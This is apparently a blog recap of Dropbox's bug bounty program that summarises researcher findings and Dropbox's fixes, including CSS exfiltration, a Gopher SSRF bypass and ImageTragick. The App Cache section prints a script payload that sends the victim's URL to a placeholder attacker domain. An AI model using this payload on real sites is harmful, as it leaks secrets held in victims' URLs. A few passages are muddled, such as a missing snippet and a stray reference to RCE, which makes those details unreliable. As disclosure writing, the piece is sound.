A Million-Dollar Milestone for Researcher Payouts

Dropbox’s bug bounty program has crossed the $1,000,000 mark in total payouts to security researchers since its launch in 2014. The company tripled its bounty amounts in 2017, a move that helped accelerate the program’s growth and attract a wider pool of researchers.

Beyond the direct financial rewards, the program has produced secondary benefits. Charities have received more than $10,000 in donations through Dropbox’s donation matching policy, a feature that lets researchers direct a portion of their earnings to non-profits. The company has also collaborated with some of its most critical vendors on live hacking events, including a one-day HackerOne bug bounty session held in Singapore.

Why Paying Attackers Makes Sense

For companies operating at Dropbox’s scale, inviting external security researchers to probe systems is a core part of the secure development lifecycle, not a sideshow. The process of discovering, reporting, and remediating vulnerabilities before they are exploited in the wild is what allows the platform to maintain a hardened product surface. What might seem counterintuitive—paying people to attack your own infrastructure—is precisely the mechanism that keeps large platforms safer over time. Transparency and the protection of legitimate researchers’ rights have been central to the progress made so far, and the cumulative payouts reflect the value of that ongoing investment.

More Than a Payout: How the Security Team Fixed What the Hunters Found

When a Dropbox user marks a shared link with a password, the access control is enforced on the link's endpoints — but that rule did not hold everywhere. In December 2018, detroitsmash found one endpoint responsible for generating document previews in Paper that ignored passwords assigned to shared links.

This is how the flow worked:

  1. A user pastes a shared link for a document into Dropbox Paper.
  2. The Paper client sends the link to the server via the endpoint /integrations/embed/fetch/matte?sharedLinkUrl=<shared link>.
  3. The endpoint produces a preview image for the document to embed in Paper.

The missing access control checks meant anyone holding a link to a password-protected document could trigger this endpoint and view its contents without knowing the password. Dropbox shipped a fix within a day of validation, and detroitsmash walked away with $10,648 plus a $2,744 six-month bonus.

Paper Notifications, CSS Exfiltration, and an Escalating HTML Injection

At last year's live hacking event with HackerOne, the research collaboration between 0xacb and cache-money — with Dropbox's Product Security team acting as sounding board — produced a string of findings. It started with the account registration endpoint that processes bulk CSV imports. Unlike normal signup at https://dropbox.com/register, that endpoint permitted "illegal" characters, including < and >, in first and last names.

That alone was not a security bug — React handles sanitization client-side anyway — but it was a thread worth pulling. cache-money registered a user whose payload was a rendered HTML <h1> tag, shared a Paper document with 0xacb, and waited for server-generated notifications. When the web client loaded the notification, the malicious HTML rendered flawlessly.

CSP and DOMPurify blocked straightforward XSS escalation, and the Desktop client proved too locked-down to be exploitable. Yet a window opened: DOMPurify's default configuration permitted <style> tags, enabling payload-triggered CSS modifications. And while CSS injection is a classic technique for token theft, exfiltration attacks typically demand hundreds of characters, and Dropbox caps name fields at 80.

The researchers' answer was far shorter than expected. Using an @import at-rule — a technique echoing an approach originally documented by sirdarckcat — the attackers could create a small team, seed it with a user name bearing the payload, and then share a Paper document with a target. The notification view fetches the page resources, and the CSS exfiltrates URLs of other Paper documents visible in the browser. The RCE was avoided, but the potential data leak was real. Dropbox corrected this same-day and paid $12,167, plus a $1,000 "Coolest Proof of Concept" bonus.

The SSRF That Outran the Proxy

HTTP proxy layers are a common defense against Server-Side Request Forgery — they filter out requests to internal IPs and metadata services. But mark litchfield proved one way around that layer in a report filed via Dropbox's Saver API. By delivering a 302 redirect in response to Dropbox's outgoing request, he switched the network protocol to Gopher. HTTP proxies don't speak Gopher, and suddenly there was nothing preventing a server-initiated request from reaching internal services.

The fix wasn't just to block redirects or disable Gopher for the affected endpoint. Other application layers make outbound requests, too. So Dropbox audited libcurl's protocols and patched out all those the platform does not need to support. Litchfield's finding, filed before the program's bounty increases, yielded $6,859.

The App Cache FALLBACK Chain

Dropbox serves raw file contents from dropboxusercontent.com to keep user-generated and potentially hostile content separated from the origin that runs the application. If a file contains XSS, it executes in a dead origin. In 2016, fransrosen demonstrated how a link shared via the platform could bypass that isolation, stealing file content without server-side sanitization.

The attack chain relied on a little-used HTML Feature called the App Cache Manifest. Here's how it worked:

  1. The attacker uploads an App Cache Manifest (manifest.txt) whose FALLBACK directive loads local fallback.xml when a network resource is unavailable.
  2. The attacker uploads an HTML file (saved with the .xml extension to avoid Dropbox's attachment-rendering protections) that points its manifest attribute to manifest.txt. The HTML contains a Cookie Bomb aimed at https://dropboxusercontent.com, intending that future loads fail from high request volume.
  3. An attacker uploads a fallback.xml file that contains a payload like this one:

 <html xmlns="http://www.w3.org/1999/xhtml">
     <script>
         <![CDATA[
                var my_img = document.createElement('img');
                my_img.src = "https://ATTACKER-DOMAIN?url=" + escape(location.href); // ab4ced3
            ]]>
        </script>
 </html>

A victim is lured into opening the uploaded .xml file at a URL like https://dl.dropboxusercontent.com/u/12345678/payload.xml or via a link shared through the web client. The manifest loads locally, script executes, and the Cookie Bomb triggers. Any future requests the victim's browser makes to dl.dropboxusercontent.com fail; the App Cache manifest's FALLBACK thread kicks in and serves the cached fallback.xml in place of the remote asset. That file's JavaScript — or something like the following snippet — validates the attack chain:

The attack presented in Frans Rosen’s App Cache Manifest report

The suggested payload fetches the current URL aloud — and exposes any secret embedded in it. Because the browser silently swaps in the fallback file rather than redirecting, the victim never notices.

Combating the attack required multiple isolation strategies: extending Content-Disposition: attachment to additional file types on the destination domain; layering CSP sandbox and allow-scripts directives over asset serving; and eventually, serving content on randomized subdomains so each one-off piece of content gets its own isolated origin. Frans collected $10,648 for the report, plus a $2,197 bonus for a top submission in that six-month window.

Dropbox's Thumbnail and Preview pipeline currently relies on ImageMagick for image processing. In 2016, the ImageTragick bugs offered a set of RCE, SSRF, and local file inclusion vulnerabilities that threatened just about anyone running the library. Stewie, aided by Nikolay Ermishkin of the Mail.ru security team, proved that one could get that far with Dropbox's handling of MVG files — "Magick Vector Graphics" — which use instructions rather than raw image data and can embed attacks without proper mitigation.

What might seem like an emergency for most organizations was for Dropbox a confirmation of its own layered defenses. The report demonstrated that although Dropbox was technically vulnerable, the company's jailing infrastructure was strong enough to neutralize the most dangerous payloads — even the RCE variant. The sandbox limits network I/O, file access outside the jail, and even permissible syscalls. Its principles extend beyond ImageMagick to unsafe and untrusted binaries like xmlsec and LibreOffice.

With risk already minimized, the finding still led to a $729 award plus a $512 bonus for Stewie's added mitigation guidance.

What the First Million Means

Crossing the $1 million payout mark is not a finish line for Dropbox. The program continues with the same goal: attract top security talent and keep vulnerabilities out of the hands of malicious actors. The company is already working toward the next million.

The five bugs described above are representative examples rather than the whole story. They show how the Dropbox Security team evaluates risk from multiple attack surfaces, and how different classes of vulnerabilities can emerge from unexpected directions. Each report contributed to hardening the platform.

Acknowledging the Researchers

Dropbox credits the broader security research community for the program's success. Nathanial Lattimer (aka @d0nut) received special thanks for his contributions. For those interested in joining the effort from the inside, Dropbox maintains open roles in Security.